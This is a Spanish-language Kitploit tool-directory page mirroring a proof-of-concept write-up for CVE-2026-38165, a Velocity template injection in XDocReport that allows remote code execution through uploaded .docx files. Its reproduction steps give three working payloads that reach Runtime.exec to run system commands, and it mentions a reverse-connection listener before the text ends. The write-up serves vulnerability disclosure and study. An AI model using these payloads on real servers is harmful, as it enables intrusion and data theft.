Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
Herramientas/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de Payloads
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

Ver Repositorio
156hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-38165 (SSTI Velocity)

Inyección de Plantillas del Lado del Servidor (SSTI) en XDocReport permite Ejecución Remota de Código a través del motor Apache Velocity

Definición del error

Resumen de la vulnerabilidad

  • Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad web que permite a un atacante insertar código malicioso en las plantillas (templates) utilizadas por los sistemas de gestión de contenidos (CMS) y los frameworks web, con el fin de ejecutar ataques remotos, obtener información sensible o realizar actividades de intrusión en el sistema.

  • SSTI es una variante de las vulnerabilidades de Inyección (como SQL Injection, XSS, etc.), en la que el atacante aprovecha el uso de sistemas de plantillas para implementar código malicioso de forma remota. Cuando un ataque SSTI se ejecuta con éxito, el atacante puede ejecutar su propio código en el servidor, permitiéndole realizar ataques remotos, como recopilar información sensible, realizar actividades de intrusión y acceder a recursos no autorizados.

  • La vulnerabilidad SSTI suele ocurrir debido al uso de sistemas de plantillas no seguros, o a la falta de verificación y tratamiento de los parámetros de entrada antes de insertarlos en las plantillas. Si un ataque SSTI tiene éxito, las consecuencias pueden ser graves y causar grandes pérdidas a la organización atacada.

Impacto empresarial

  • La vulnerabilidad SSTI puede provocar múltiples consecuencias graves, incluyendo:

  • Ejecución de código malicioso: El atacante puede utilizar esta vulnerabilidad para ejecutar código malicioso en el servidor, permitiéndole robar datos, realizar acciones ilegales en el sistema e incluso tomar el control total del servidor.

  • Divulgación de información sensible: SSTI puede permitir al atacante leer, modificar o eliminar archivos en el servidor. Si estos archivos contienen información sensible, como cuentas y contraseñas, el atacante puede divulgar fácilmente esta información.

  • Ataques de amenaza o engaño a usuarios: El atacante puede usar SSTI para realizar ataques de amenaza o engaño, modificando el contenido del sitio web o añadiendo botones personalizados falsos. Si el usuario hace clic en estos botones, el atacante puede robar información del usuario o instalar software malicioso en su computadora.

Gravedad CRÍTICA

image

Descripción e Impacto

fr.opensagres.xdocreport.template.velocity

Se encontró una vulnerabilidad de Server-Side Template Injection (SSTI) en OpenSAGRES XDocReport al procesar plantillas DOCX con el motor velocity. Bajo ciertas configuraciones, las plantillas manipuladas pueden llevar a una Ejecución Remota de Código (RCE).

El sitio web de gestión de personal permite a los usuarios subir archivos .docx al sistema. Durante el procesamiento, la aplicación utiliza el motor de plantillas velocity (en el archivo) para renderizar el contenido sin ningún mecanismo de control o filtrado de entrada. Esta vulnerabilidad permite al atacante insertar expresiones maliciosas en el archivo .docx (plantilla), lo que lleva a una Ejecución Remota de Código (RCE) en el servidor y puede ser aprovechada para robar información o tomar el control del sistema.

Componente afectado

fr.opensagres.xdocreport.template.velocity — XDocReport (versiones =< 2.1.0).

Análisis de causa raíz

https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

image

velocityEngine.evaluate(...) es el método estándar/por defecto de Apache Velocity para evaluar una plantilla desde un Reader (o desde un String) usando un Context y escribir en un Writer. Ejecuta la sintaxis VTL (Velocity Template Language) igual que Template.merge(...)

Diferencias reales entre evaluate y Template.merge

  • evaluate: analiza desde Reader/String → útil cuando la plantilla es dinámica/no confiable.

  • getTemplate(...).merge(...): carga la plantilla que ha sido procesada por el resource loader (caching, encoding…), luego la fusiona. En cuanto a la capacidad de ejecución de VTL, ambos ejecutan las mismas expresiones; la diferencia principal es el lugar/modo de carga de la plantilla.

Pasos para reproducir

  1. El usuario sube un archivo .docx con el siguiente payload en su interior:

image

#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  1. Se observa que se puede ejecutar con éxito un comando del sistema

image

  1. Similarmente, con el siguiente payload:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

image

  1. Similarmente:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

  1. Elevando el impacto a RCE
  • La máquina de escucha es wsl con dirección IP 172.26.208.130

image

  • Explotación con el siguiente payload:
Descargar herramienta